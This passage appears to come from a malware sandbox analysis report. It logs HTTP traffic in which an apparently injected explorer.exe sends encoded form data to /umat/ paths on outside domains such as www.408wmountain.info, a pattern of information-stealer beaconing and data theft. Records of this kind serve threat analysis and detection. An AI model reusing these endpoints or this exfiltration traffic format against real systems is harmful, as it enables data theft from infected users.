EKD2F0RuM-vL3vQ9YyJTxOifUf7Ou50WQ9h9(VLgIhQ6bFkI6Ul27os6NbZW~SSf6HESdFvWeGBWwRoLbhETZ0tTuiG2NrCx3yW0BYB325HZDTj-X8ZN4pZ-s9uZg4SepqqxRjxSkF9qcGCk6xpD8_9Uk_mS~eLEJkgN3DpH2LEIWl5EZpsTjMfReiCBqUU3OC5Ow2Pt(vE7s_R6(0npv5nNWqv4cXxzvqBMZwasP2IBta1wIoaGjwGoQqosb7ZkUEYnycnDXHwlkxfu6QkI8f~Bo4S8igrjHBfDFTVneaiQ4jwZBTChxttnqnqEcUCCHBPQ1diEEq1MeI91PsiuJ0KW6fSPiJeEeXdtpjqcjAeNAMj7Scj1n7vcopZcwt3a1NflNqaIZ-vSXy~XMXycGs018ZYyuOGVg-4O~UKsZJhRrQGDhUCZFT7-Mw(N3w(Hzi4TaAwfffG6207KJggaBDxeEaVePP(aeMxW5NfXKtvvn-73L50y(R3HM2LxsPPhcJoYdUjHZveCPao9pziX9mS3Ub94xAf2b7ou1MhZQRxj~rPRQvM696ZZl8hFQWGI3sCEgWIj2yoKF68OXjTBEO0uwoS0~O(tT-jYeKgSyI2X1qTegk(9iVdJOx3EYfTVIeqe7qk85YVY2ymp(1(0o9NYRiqWJpwEA9XGTmM_G6RcWcnjldWB1O(DFKaBgdcVWlpWbOkSMOI6mH9NNJACIxaelosJ(ZT7O4UQqzkw9WewxHxUbxsCClAW6yVTkm4CktZuSJHgLKnEILJCjeoVUjMpvI0SUzEn~0mwoNJs5it56anpsC7-dWCrMi6NWap0D2vsWReD8rPibjOLkrkA521FdnQfFszlVqlIzyyhAABW0X3EQl~RSzjWEeUOCnBgj8Ku~XhbbZzhxF8hgtfNShwe~62acc35nZhkcc2wpiCoB6KBTdZJ(_iLet41iLWsCYBE7Rbn2ZLG2ESTfiAMKN7VyEeYLQV3zUWBiI3foZfwew05lR42K0U5VE4pdM1L6IGnxzHLG9hyqxcXP2jFLdrockD3HEu1x48OySd_tPWDPOy9dGaIS38sipF9Eqx9kunHFi2f5o1PuL8FEOTrMp2VEV6cufEgd58ymuoQn6G_pdjrvTMtNy9EGUcg6jNhUgXA9159yGhwkwDcI_Kcjeb0j08CnSwOh7zk3k(b24(QTcp2HuOYwSxOhvoUk5SZc0gi0MwiFDoj5zEDfGMeFS01h6XGV_9614TWT4lg2MKrvFJmDHGP2PBBJT0s~53-pKVVZN8LNGV1VY0zatDxT-06dlnKW41uMAxkO8BziSuIgA71aYWs6QjA~fsAsCy2H-S8nOQj~KTfz3rLBOB9Acu9(b(mU8EvZ-FCN8BsyGNJWbJ3Gbd2GgDLckJ1nQxkrIfe1TGeMvoM9E1qAY5CaFIjB6iJj3DjlY~-EF2-cf4EPD(S1fL8nBet3ctUdgMO1oKXmPVA5XzX9YkD6dsK~X4jyad_TxZoULj6hU0AId4DTnAFbvbFG-xYJNT0KTmo27(5YzJzsRhfx1I2gVdUTfr_DQjFdEOV5lnDMZRodwZHRsbu8U0p8C7w0wSntqkwMe0bDJJ8R3gj9c(Yu7tu1Q8uq3d79ieFtprb0B02xJBuRAm2(ieWG8CjA6dac97TTeMDLN3sgeL6brUChkXKCzXDj8EcsYzg5uHkIa(oUQ~x10ttMtu3gvaRxGW2zgSpV4gb9c53750Jfw1tqEeQyFepIKRybXZMs7lX0rMQFcQBbpED~fMrsq9bUpoFJUH0bgP-yXCUEd23ny8HH0pazYzfUoRV(I6tk90UdElhjcN7fmHrbwsqwgryLWb9~k1ooLCjOw(VjRU7IsQeW3vYAOiRUkCCPYgmrbsXIX90Seh7ibJB~iwN3U4y8C42ies-uMATJuFs(aV0AMsER_pMslstTrsx55iWVgyshHmUjQYfLB(wLY1Ld7Iil7lNEhf1CNSTXRzja-vB5INJadbGeEEYfyNpM0(TxmNA0umF0GidkqiTX4SnAjxZjqzUnC7yVvzcw4S1Cc8jeaxJhuRLX8kio_57uP0Kg6xfQUhGAEkjdF2hWOPNyTW1lG4uriBGRCNoCLdF(EAIXOG1WstQPmdFcRiz3CF3bLHnw_FR8TsdeSkzO5IaT_l4pKFl4Zc3nc09g2WVa6ULu571TW8VMM96IEZ3QV5Gwrt4vBb-FIIG4kPGHP(7~EtvAFd9nMFTdCo8BqdKCa9ES-vWESRXTozJXSGZvA5KMUq-bcx61IzuqVda~dKFYCLT1zgWZMVpTv4zZPsi0XhRy8rLfI1nEPeld-Kk4p(QfcIaVxy-TpJ9wOfQe0jKNvXp1koBGkYEsJLoOTbDc0Qxk_ylIMKmidoCnwzsJkw1HolFBF5bW3EWiD1c~3zJvRQA3by8qcLPwDp9bkmB6iYSSpFmfKdCEc71mkEWdhwBim9e0dy9h3NYOcSNyt5GNf0erJJoXq~jJ0lT3o0pwREVABs5FCNBwkM1X_FCnyNJPpct5I9s89DyxFLlaqq80VrQs7MgbIL-lCBbt6Ra0SK8G0hnja0BndqcOD5PlOw8J-qC30Bd(Yp3HAmENtS9PxGnH28Ikci37TJIs-Y1CdcGV55OBhYWwH6uee5KtOT_QyluFkbFKJkjoiAu0hR74ngFLXSIX5PeJ3dvKHp95Mx7~Ez_aMEhaBbiQwc2j1uo6iLGTNncaBOdVQb_DHCRUTJ_jExKm9bGV9tDqpH4IWx9F7ubbQoWceDJII1lYPzMFwqn4PgVORHhHqZDf2YKSmE1x3k3KiigqabgyrCXyu2aZYntR2aNyweCowwAC-8oqKQooY(zHYowhX6b6
Jun 3, 2022 08:17:26.940789938 CEST	9598	OUT	Data Raw: 72 53 5a 4b 78 51 46 69 72 48 66 64 71 36 33 6e 6c 71 33 32 68 66 4b 75 70 41 48 30 72 44 4c 76 78 52 4c 58 37 67 45 77 74 74 62 67 4d 45 69 6d 74 48 58 6b 35 61 78 34 76 7a 65 53 43 5a 63 38 71 69 4c 70 56 68 6c 6d 51 42 63 49 59 48 64 28 53 33 Data Ascii: rSZKxQFirHfdq63nlq32hfKupAH0rDLvxRLX7gEwttbgMEimtHXk5ax4vzeSCZc8qiLpVhlmQBcIYHd(S3TL-khcKpenicGFT2ivjR-DPZcZC~WNx(EpM77066BrcXZ21dnvPeptdwp(2zMIkZ3R9y9KCSLxF80azANiYA_BwzjukLQeKcF8rySCIGkbIODHgpevpYYKDHa(kD_ktNKZAogk4mVx0NAPvRDe4MJ6gdmI5adSwvv
Jun 3, 2022 08:17:26.940833092 CEST	9600	OUT	Data Raw: 47 53 4d 31 78 43 66 7a 62 6a 5a 65 58 32 41 42 5a 36 77 33 55 38 51 69 36 78 6e 51 4c 51 52 6f 6a 35 35 31 43 66 71 78 56 31 48 6e 34 51 38 41 35 79 6a 67 45 49 6c 72 78 7a 45 61 4f 71 64 56 44 62 7a 62 54 67 54 48 52 28 33 57 4d 4f 34 77 6c 72 Data Ascii: GSM1xCfzbjZeX2ABZ6w3U8Qi6xnQLQRoj551CfqxV1Hn4Q8A5yjgEIlrxzEaOqdVDbzbTgTHR(3WMO4wlr4Vdkjn7~t~jj7lKdJGguPm0YXh5NMnsee620VZxJQc1S2hWFJsvKgcsUSkeYIkmbRaXc4wcyk2k4AyHuYq1sCw-4stm0viSdceLpjmcJVFui3RYdJJHD_hrTEkn(aUkEMpsGBVZqMzgCEgVSpUc6Itsqn53fBuj2l
Jun 3, 2022 08:17:26.940846920 CEST	9603	OUT	Data Raw: 78 79 69 34 35 78 54 44 58 61 33 56 45 68 71 73 65 55 6d 38 34 79 76 4f 5a 76 4a 6e 68 34 72 57 38 58 41 39 74 6f 34 54 55 66 44 62 45 6b 64 75 67 35 48 64 4f 69 6f 64 58 55 6a 69 31 34 50 69 7a 56 51 33 49 58 6b 4e 4e 4b 7a 61 32 7a 50 31 6e 4e Data Ascii: xyi45xTDXa3VEhqseUm84yvOZvJnh4rW8XA9to4TUfDbEkdug5HdOiodXUji14PizVQ3IXkNNKza2zP1nN5kNEazqnclmjy7_MbuZtYFGNLgtOZ5SBpS12AiIypGakWLbfcESoPJDKmdvSZmgdDvdDNMa6uYf93sbiFFqwq0arl1aYATDmt7UhPWwQJ7B15WWw_mnQUXu0hn0XgjHU4JKjafb~wpe2wtgudSl7DuDMZxRbPXFDC
Jun 3, 2022 08:17:26.940865040 CEST	9606	OUT	Data Raw: 6c 62 58 75 4d 5a 73 53 46 4d 75 66 6b 74 6b 6e 6a 6a 54 77 32 36 65 59 58 48 51 57 50 72 41 6c 70 74 37 36 30 52 6c 34 62 70 5f 34 6d 30 45 30 32 59 4e 6b 39 44 47 32 71 44 31 67 49 77 71 55 57 35 74 43 48 63 55 42 58 4f 62 6a 4d 35 70 67 47 28 Data Ascii: lbXuMZsSFMufktknjjTw26eYXHQWPrAlpt760Rl4bp_4m0E02YNk9DG2qD1gIwqUW5tCHcUBXObjM5pgG(htBLhMji6DOddUJz3sLbVUEZEpAGlYWskYmor9IlrHqQsYa3-qWUWG9GhBclGOjwg9Fwe8rMkpXD741TvH7LNsDM0KBcL1QLiPWf3zlLtmbNXmqkrgRdTxN95OMjBKncb6Qyeg_Ul2n(Rtih5R8fLL-Vdh88S3wCl
Jun 3, 2022 08:17:26.940876961 CEST	9608	OUT	Data Raw: 79 66 53 64 6c 42 36 31 63 6d 63 44 64 35 78 68 59 36 6e 74 59 49 74 4d 33 46 37 54 71 34 79 4b 4d 31 6a 4e 6b 4f 66 33 2d 61 65 41 4b 79 72 74 62 57 44 57 4a 57 6b 75 46 74 62 42 46 5a 56 67 30 57 4e 28 77 35 62 49 32 33 4c 76 35 50 45 65 52 45 Data Ascii: yfSdlB61cmcDd5xhY6ntYItM3F7Tq4yKM1jNkOf3-aeAKyrtbWDWJWkuFtbBFZVg0WN(w5bI23Lv5PEeRE96PH-3_IS1nSMrPJD7fr3YEU9e_mjxEDmGA4WPGz7gOPIJdAsHVoY6f5a~Oy0JMcJMi0XDXIuO9MxYIEWYdioPmEsYAdArj89Q-L_8c3fAze0fd52hz6aQcZSKDtCyjqs4jTFbEU9W2UNWTJ5VqWJ6CTcb5VJV2Yj
Jun 3, 2022 08:17:26.940891027 CEST	9614	OUT	Data Raw: 41 75 73 32 46 52 6d 6a 52 56 30 38 67 63 56 7a 78 70 76 47 50 62 44 41 6b 7e 6d 58 52 4a 69 68 54 56 5a 49 76 4b 4a 64 43 4d 61 32 6e 79 71 74 49 59 38 54 74 5a 75 76 4e 28 57 6c 4e 70 62 4f 62 53 51 44 69 67 45 76 66 4e 48 31 38 6e 69 62 55 67 Data Ascii: Aus2FRmjRV08gcVzxpvGPbDAk~mXRJihTVZIvKJdCMa2nyqtIY8TtZuvN(WlNpbObSQDigEvfNH18nibUgGlNij2dYLCPkIdAAajnzuCCSNN1BYk3zsKqDvqUyWygyHsUy0(JwljciQCqSenMmPIOyloVwljlPQTiFnEru3CswwHBBvKbRgIQpnvwqIH4mP51(9trnoTvHQlgR7r6CRaf6Z9Hjugb1Sg7C_V5jpWOapl7x_aM71
Jun 3, 2022 08:17:26.940902948 CEST	9616	OUT	Data Raw: 78 75 55 59 49 32 33 62 72 77 57 5a 63 67 31 52 41 58 44 32 49 32 59 39 6c 71 37 46 51 7a 30 28 64 5a 50 36 39 76 72 70 58 52 6e 5a 30 41 76 51 69 77 48 52 56 6a 43 53 6c 62 61 74 48 65 59 70 49 33 65 74 6a 7a 71 38 64 33 61 44 35 6f 4f 4d 69 77 Data Ascii: xuUYI23brwWZcg1RAXD2I2Y9lq7FQz0(dZP69vrpXRnZ0AvQiwHRVjCSlbatHeYpI3etjzq8d3aD5oOMiwnQwK1024pTwva~AyX1GqWYvGYBXhV8lqeVPDr4qCrUZw-WeMswY1RBB1tbnuTnKwFL89AQGdV0QIY6m73eqc1nLmtVTMJKpjgQ8dVoslj55gmE7jcGOOOIOh7(Q0jNohg84yFd1(8kNX86pd3q1ExJNa6a3myoPNM
Jun 3, 2022 08:17:26.941128969 CEST	9616	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Fri, 03 Jun 2022 06:17:26 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close D-Geo: EU Content-Encoding: gzip Data Raw: 38 61 0d 0a 1f 8b 08 00 00 00 00 00 04 03 3d 8e 41 0a 02 31 0c 45 af 92 13 58 66 1f 72 04 71 eb b2 63 c3 b4 50 9b 92 a4 8a b7 b7 58 c6 ed e7 bf ff 3e 66 7f 56 c2 cc 31 11 7a f1 ca 74 15 07 1b bd 8b 3a 27 0c 2b c4 b0 2a bb a4 0f e1 83 9b b3 4e 6c a3 bb 0c 85 5d e5 6d ac f0 62 b5 22 0d 8a 41 13 a8 d2 8e 19 fe b7 2e 70 ab 1c 8d 61 f4 43 63 62 70 01 cf 0c 35 3a 9b 9f f0 34 6d 84 e1 54 84 65 0c bf 9f 5f bc 2a 38 15 ae 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 8a=A1EXfrqcPX>fV1zt:'+Nl]mb"A.paCcbp5:4mTe_80

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.4	49786	18.193.36.153	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jun 3, 2022 08:17:26.941837072 CEST	9617	OUT	GET /umat/?bT7tPLpx=mirGcuiLmtPKrDRAwzy9R4FSSMfuwOXiEO9Msa/shEoIjA842HTgawjSFBDstolWxD5R&Lls=Mzrp HTTP/1.1 Host: www.drivetrianrepair.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jun 3, 2022 08:17:26.960726976 CEST	9618	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Fri, 03 Jun 2022 06:17:26 GMT Content-Type: text/html Content-Length: 174 Connection: close D-Geo: EU Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 6f 74 20 73 75 70 70 6f 72 74 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 76 65 72 73 69 6f 6e 20 69 73 20 6e 6f 20 6c 6f 6e 67 65 72 20 73 75 70 70 6f 72 74 65 64 2e 20 50 6c 65 61 73 65 20 75 70 67 72 61 64 65 20 74 6f 20 74 68 65 20 6c 61 74 65 73 74 20 76 65 72 73 69 6f 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>Not supported</title></head><body><center><h1>Your browser version is no longer supported. Please upgrade to the latest version</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.4	49789	66.96.162.130	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jun 3, 2022 08:17:37.238796949 CEST	9667	OUT	POST /umat/ HTTP/1.1 Host: www.408wmountain.info Connection: close Content-Length: 414 Cache-Control: no-cache Origin: http://www.408wmountain.info User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.408wmountain.info/umat/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 62 54 37 74 50 4c 70 78 3d 78 69 4b 35 76 36 74 58 55 44 75 69 56 74 48 44 33 4c 6e 42 63 4e 50 54 42 6f 44 36 28 5a 32 75 33 37 28 47 61 30 39 54 64 73 38 33 72 47 36 71 31 69 66 31 35 77 50 4d 32 78 53 43 30 42 61 42 28 76 6f 47 64 5f 45 65 4f 6c 4f 71 73 6d 6e 4a 32 2d 52 4d 61 33 52 62 37 39 63 33 39 31 47 5a 4e 70 36 41 64 5a 78 44 39 69 6a 38 4e 48 37 4b 79 5f 47 63 54 4b 69 38 67 4f 4f 43 65 31 54 61 35 46 71 50 77 71 38 4d 73 49 32 57 67 38 4e 42 4a 36 72 66 48 44 43 58 6b 75 4a 32 32 4d 4f 46 7a 4d 44 47 67 35 77 6a 4f 68 4d 4e 48 6b 38 69 42 4e 55 56 7e 46 4a 61 46 4d 52 62 74 62 67 54 48 43 7e 42 69 37 52 72 6e 6f 41 70 37 4f 71 56 6c 6d 45 52 7a 41 43 48 4e 57 43 6e 79 6b 39 6e 78 51 57 37 6f 58 77 6b 4c 34 6d 32 78 37 4b 4c 64 6b 65 4a 75 39 57 42 51 62 67 52 4b 43 72 58 48 75 4d 52 57 59 47 39 53 6f 59 52 43 43 6f 61 4c 76 35 4a 55 73 59 42 30 45 54 76 49 41 32 69 45 6b 74 4b 44 69 6c 74 4c 69 4a 4b 67 45 49 4e 46 2d 73 58 63 54 32 66 78 51 37 69 32 48 6d 4e 58 6e 42 57 7e 51 7a 57 5a 66 77 62 44 64 32 6d 7a 42 38 33 61 56 57 30 62 66 78 76 44 48 78 30 77 38 41 2d 6e 32 47 66 77 4d 50 76 5a 49 37 59 67 77 48 4a 41 54 39 49 48 4a 39 4d 53 6f 4c 2d 78 57 7e 70 57 4d 53 7a 72 57 46 47 50 75 36 34 53 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: bT7tPLpx=xiK5v6tXUDuiVtHD3LnBcNPTBoD6(Z2u37(Ga09Tds83rG6q1if15wPM2xSC0BaB(voGd_EeOlOqsmnJ2-RMa3Rb79c391GZNp6AdZxD9ij8NH7Ky_GcTKi8gOOCe1Ta5FqPwq8MsI2Wg8NBJ6rfHDCXkuJ22MOFzMDGg5wjOhMNHk8iBNUV~FJaFMRbtbgTHC~Bi7RrnoAp7OqVlmERzACHNWCnyk9nxQW7oXwkL4m2x7KLdkeJu9WBQbgRKCrXHuMRWYG9SoYRCCoaLv5JUsYB0ETvIA2iEktKDiltLiJKgEINF-sXcT2fxQ7i2HmNXnBW~QzWZfwbDd2mzB83aVW0bfxvDHx0w8A-n2GfwMPvZI7YgwHJAT9IHJ9MSoL-xW~pWMSzrWFGPu64Sw).
Jun 3, 2022 08:17:37.378067970 CEST	9718	IN	HTTP/1.1 404 Not Found Date: Fri, 03 Jun 2022 06:17:37 GMT Content-Type: text/html Content-Length: 867 Connection: close Server: Apache/2 Last-Modified: Fri, 10 Jan 2020 16:05:10 GMT Accept-Ranges: bytes Age: 0 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 23 61 64 5f 66 72 61 6d 65 7b 20 68 65 69 67 68 74 3a 38 30 30 70 78 3b 20 77 69 64 74 68 3a 31 30 30 25 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 7b 20 6d 61 72 67 69 6e 3a 30 3b 20 62 6f 72 64 65 72 3a 20 30 3b 20 70 61 64 64 69 6e 67 3a 20 30 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 61 6a 61 78 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6a 71 75 65 72 79 2f 31 2e 31 30 2e 32 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 53 63 72 69 70 74 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 75 72 6c 20 3d 20 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 65 61 72 63 68 76 69 74 79 2e 63 6f 6d 2f 3f 64 6e 3d 27 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2b 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 6d 61 69 6e 20 2b 20 27 26 70 69 64 3d 39 50 4f 4c 36 46 32 48 34 27 3b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 24 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 24 28 27 23 61 64 5f 66 72 61 6d 65 27 29 2e 61 74 74 72 28 27 73 72 63 27 2c 20 75 72 6c 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 3b 0d 0a 20 20 20 20 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0d 0a 20 20 20 20 3c 62 6f 64 79 3e 0d 0a 20 20 20 20 20 20 20 20 3c 69 66 72 61 6d 65 20 69 64 3d 22 61 64 5f 66 72 61 6d 65 22 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 73 65 61 72 63 68 76 69 74 79 2e 63 6f 6d 2f 22 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 62 72 6f 77 73 65 72 20 64 6f 65 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 20 69 66 72 61 6d 65 27 73 20 2d 2d 3e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 3c 2f 69 66 72 61 6d 65 3e 0d 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0d 0a 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML><html> <head> <title>404 Error - Page Not Found</title> <style> #ad_frame{ height:800px; width:100%; } body{ margin:0; border: 0; padding: 0; } </style> <script src="//ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js"></script> <script type="text/javascript" language="JavaScript"> var url = 'http://www.searchvity.com/?dn=' + document.domain + '&pid=9POL6F2H4'; $(document).ready(function() { $('#ad_frame').attr('src', url); }); </script> </head> <body> <iframe id="ad_frame" src="http://www.searchvity.com/" frameborder="0" scrolling="no"> ... browser does not support iframe's --> </iframe> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.4	49790	66.96.162.130	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jun 3, 2022 08:17:37.338881969 CEST	9717	OUT	POST /umat/ HTTP/1.1 Host: www.408wmountain.info Connection: close Content-Length: 36482 Cache-Control: no-cache Origin: http://www.408wmountain.info User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.408wmountain.info/umat/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 62 54 37 74 50 4c 70 78 3d 78 69 4b 35 76 2d 73 4f 66 6a 7a 79 57 39 4c 67 35 64 6a 76 46 74 28 56 48 59 47 36 31 35 61 59 7a 4a 48 34 48 6c 4e 48 63 74 45 39 76 32 6d 4c 6d 77 76 54 35 78 7e 6f 73 53 32 47 7e 42 65 41 28 76 77 6b 64 5f 49 65 50 68 7a 76 73 46 65 63 32 59 4e 50 57 33 52 6a 36 39 63 2d 73 41 6e 4c 4e 70 76 76 64 5a 35 54 38 52 48 38 50 68 28 4b 6c 75 47 58 63 4b 6a 33 73 71 54 64 42 6c 66 39 35 46 43 74 77 6f 6f 4d 73 34 79 57 6d 64 64 43 4c 35 7a 59 4b 7a 43 57 68 75 4a 6a 74 64 79 37 7a 4d 48 65 67 39 77 6a 50 54 34 4e 47 33 30 69 57 4f 73 55 32 56 4a 43 42 4d 52 63 38 4c 73 43 48 43 69 4e 69 36 6b 65 6d 61 63 70 70 4f 71 51 7a 58 41 6a 28 33 75 51 4c 58 6d 2d 79 6b 35 4f 78 6b 50 6d 6f 57 64 48 44 75 69 4e 7e 2d 6d 6c 64 69 76 53 6f 64 57 46 49 72 67 77 4b 43 72 33 48 75 4d 5f 57 59 32 39 53 75 59 52 44 68 67 61 4f 50 35 4b 61 38 59 62 7a 45 53 39 4d 41 79 59 45 67 41 45 44 6a 64 58 4d 58 4a 4b 69 56 59 4e 51 4e 55 51 46 44 32 64 6e 67 37 39 39 6e 6d 4f 58 6e 42 67 7e 52 79 4c 61 73 45 62 41 73 32 6d 7e 43 45 33 57 46 57 30 55 5f 78 70 59 33 73 78 77 38 34 36 6e 33 33 69 78 2d 6a 76 5a 64 76 59 67 52 48 4a 44 6a 39 49 4c 70 38 65 56 34 32 4b 28 58 6a 49 65 4d 65 6a 6b 44 55 79 47 36 7a 44 4b 37 51 6b 49 52 59 51 48 30 67 32 50 45 4b 33 69 46 59 36 54 77 37 50 47 51 73 51 64 55 42 51 4d 50 42 54 58 74 78 62 48 61 6c 62 30 66 51 72 30 35 58 7a 55 46 56 33 33 66 32 61 72 4f 28 6d 56 65 45 58 55 54 62 43 7e 45 79 30 34 49 42 52 32 66 33 72 79 4c 54 43 4a 62 28 2d 30 4f 57 35 44 2d 58 58 35 45 58 6a 52 73 32 70 30 52 50 42 54 78 53 68 62 6b 34 53 44 45 39 5a 65 4e 45 63 75 7a 7a 46 33 78 69 49 73 6b 6d 42 4f 37 7e 59 7a 45 77 6a 35 31 75 79 77 67 5a 6f 71 58 70 63 6a 34 46 49 72 4d 66 5a 66 44 67 47 58 36 32 77 42 35 6c 64 41 42 35 58 37 7a 4a 46 56 63 53 50 4b 46 28 44 65 72 43 35 50 43 77 4e 62 51 57 79 42 51 46 45 31 77 4d 52 39 58 77 4b 4d 57 74 78 42 41 44 50 37 6d 4d 62 4d 61 77 53 28 46 56 62 68 32 57 35 61 64 71 66 53 41 66 6a 61 7a 6c 6a 6e 71 6b 54 50 47 74 56 55 53 61 38 70 37 49 63 38 65 6a 2d 35 59 4a 76 72 55 75 55 6c 30 4b 65 6e 66 63 63 6a 4f 36 4f 53 51 72 76 56 37 77 35 59 47 57 56 46 61 50 6e 6e 65 4b 53 34 4d 51 75 4d 70 70 45 49 72 4e 4a 28 38 35 46 72 32 4f 32 77 38 46 45 28 50 67 54 41 4c 75 5f 77 58 39 4c 79 68 4f 7a 69 71 72 62 52 2d 63 64 46 33 69 4c 58 72 55 46 76 48 78 50 41 33 5a 43 67 37 4d 38 45 69 50 32 4d 43 77 37 42 65 69 33 35 30 45 70 65 52 58 34 6d 4b 54 79 75 79 7e 32 45 35 41 49 41 53 64 48 6d 48 6e 56 48 76 7e 77 4f 70 79 7a 38 37 56 33 52 6b 77 76 53 59 31 32 70 77 75 5f 61 6e 57 63 4a 5f 4e 7a 58 35 66 4a 57 48 70 73 59 39 4b 63 6d 35 49 38 28 35 44 4c 63 33 35 71 57 4a 30 78 6c 34 62 66 65 70 4c 47 49 55 34 50 4a 34 33 7a 49 34 37 63 63 49 30 48 47 56 77 50 61 6f 66 79 56 53 67 46 54 37 34 4f 4d 34 39 59 33 74 55 49 45 31 43 35 49 65 36 4a 43 43 6b 54 44 47 44 75 78 67 32 56 4d 5a 4d 56 36 58 77 4d 57 38 66 58 64 39 31 75 77 57 4a 55 52 65 5a 47 38 43 35 4d 67 4a 41 6f 66 6a 39 30 32 45 59 4e 68 4a 57 51 50 75 51 53 30 33 41 71 64 65 54 4e 4a 67 77 34 4f 6a 7e 34 41 72 70 55 6e 66 50 4c 6d 55 52 51 36 58 48 74 4b 54 52 6f 31 45 78 32 35 42 44 57 69 39 52 32 69 6f 78 4a 76 67 37 39 57 33 67 39 51 65 43 52 51 34 49 78 5a 74 28 33 28 39 78 58 76 4f 32 58 56 71 57 5a 75 69 51 66 69 6d 51 44 4a 4b 6e 54 45 6d 36 47 37 78 79 6c 31 67 36 42 42 65 59 78 63 4e 65 57 76 6b 69 5f 68 36 71 59 52 70 4c 4e 67 49 61 6f 45 65 55 74 61 6c 38 6b 69 36 53 49 58 79 6b 4b 46 63 73 66 33 4e 6b 30 6a 39 34 6a 6b 32 44 5f 52 34 70 70 6e 74 45 6a 76 6c 4a 32 34 79 78 72 70 4e 6a 44 52 73 48 56 72 31 4f 2d 6e 41 46 59 32 79 57 34 47 78 46 6e 73 65 53 33 65 58 7e 49 77 32 48 49 6d 61 39 72 6d 74 32 6e 6a 58 73 63 77 77 79 6a 58 32 4c 36 69 42 78 64 51 4c 76 38 43 5f 38 77 76 4e 7a 61 66 56 65 57 5a 4f 6a 45 28 43 70 4a 73 69 39 45 4d 44 4e 66 54 66 49 6f 71 6b 28 55 53 4d 38 6f 37 41 63 72 53 58 42 42 76 76 6d 66 75 31 7e 4a 30 68 66 59 70 67 63 47 41 33 69 6a 63 4a 64 41 5a 38 4b 58 63 77 46 64 39 41 37 71 7e 7a 42 71 4e 45 51 50 68 6b 66 52 6e 32 64 35 38 66 41 49 50 44 28 75 50 64 Data Ascii: 